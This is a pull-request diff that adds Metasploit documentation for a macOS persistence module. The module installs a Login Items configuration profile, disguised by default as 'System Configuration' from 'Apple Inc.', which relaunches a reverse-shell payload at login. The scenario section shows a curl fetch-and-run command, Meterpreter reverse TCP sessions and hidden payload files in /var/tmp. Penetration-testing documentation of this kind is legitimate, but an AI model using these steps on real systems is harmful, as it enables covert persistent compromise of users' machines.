Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
170 changes: 170 additions & 0 deletions documentation/modules/exploit/osx/persistence/profile.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
## Vulnerable Application

This module provides a persistent payload by installing a configuration
profile (mobileconfig) containing a Login Items payload
(`com.apple.loginitems.managed`) which launches the payload whenever a user
logs in. The payload executes in the context of the logging in user, not
root.

On macOS 10.15 and earlier the profile is installed silently with the
`profiles` command line tool, which requires root. Starting with macOS 11
Big Sur, the `profiles` tool no longer supports command line installs, so
the module opens the profile in System Settings instead, which requires
the user to approve the installation in the GUI.

The payload must be stored in a location readable and executable by all
users (for example `/var/tmp`), otherwise the login item will fail to
launch at login. The payload is wrapped in an application bundle, as login
items pointing at bare executables are opened with Terminal.

## Verification Steps

1. Start msfconsole
1. Get a root shell on the target
1. Do: `use exploit/osx/persistence/profile`
1. Do: `set session <session>`
1. Do: `set WritableDir /var/tmp`
1. Do: `run`
1. On macOS 11+, approve the profile installation in System Settings on the target
1. Log out and back in on the target (or set `RUN_NOW true`)
1. You should get a new shell as the logging in user.

## Options

### PROFILE_NAME

Display name of the configuration profile as it appears in System Settings.
Defaults to `System Configuration`.

### PROFILE_ORG

Organization name of the configuration profile as it appears in System
Settings. Defaults to `Apple Inc.`.

### LOGIN_ITEM_NAME

Display name of the login item payload within the profile, shown when viewing
the profile details in System Settings. Defaults to `Login Item`.

### RUN_NOW

Run the installed payload immediately (as root, since the current session is
root). Note that at login the payload executes as the logging in user.
Defaults to `false`.

## Scenarios

### macOS 11.7.11

Initial root shell

```
resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/h00die/.msf4/msfconsole.rc)> setg session -1
session => -1
resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083
srvport => 8083
resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o
uripath => o
resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447
lport => 4447
resource (/home/h00die/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4447

[*] Using URL: http://1.1.1.1:8083/o
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output hg5ZjYdd http://1.1.1.1:8083/o; chmod +x hg5ZjYdd; ./hg5ZjYdd& disown
msf exploit(multi/script/web_delivery) > [*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(29648 bytes)
[*] Sending stage (874608 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49264) at 2026-08-09 18:53:58 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : h00dies-MacBook-Pro.local
OS : macOS Big Sur (macOS 11.7.11)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter > background
[*] Backgrounding session 1...
```

Persistence

```
msf exploit(multi/script/web_delivery) > use exploit/osx/persistence/profile
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf exploit(osx/persistence/profile) > set writabledir /var/tmp
writabledir => /var/tmp
msf exploit(osx/persistence/profile) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(osx/persistence/profile) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] macOS 11.7.11 requires the user to approve the profile installation in System Settings
[+] The target appears to be vulnerable. Session is root, and /var/tmp is writable
[*] Writing payload application to /var/tmp/.XMtoxJLg.app...
[*] Creating directory /var/tmp/.XMtoxJLg.app/Contents/MacOS
[*] /var/tmp/.XMtoxJLg.app/Contents/MacOS created
[+] Payload application stored to /var/tmp/.XMtoxJLg.app
[+] Profile stored to /var/tmp/.oCCxXSdb.mobileconfig
[*] profiles install output: profiles tool no longer supports installs. Use System Preferences Profiles to add configuration profiles.
[!] This version of macOS does not support command line profile installation, opening System Settings for user approval
[*] The target user will be prompted to approve the profile installation
[*] Meterpreter-compatible Cleanup RC file: /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.5428/h00dies-MacBook-Pro.local_20260809.5428.rc
```

Click to install the new profile

Reboot the system

```
msf exploit(osx/persistence/profile) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 673 created.
Channel 13 created.
reboot


[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died
```

Log back in

```
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(29648 bytes)
[*] Sending stage (874608 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49171) at 2026-08-09 18:57:46 -0400


Terminate channel 13? [y/N] y
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
msf exploit(osx/persistence/profile) > sessions -i 2
[*] Starting interaction with 2...

gmeterpreter > getuid
Server username: h00die
meterpreter > background
[*] Backgrounding session 2...
```
Loading
Loading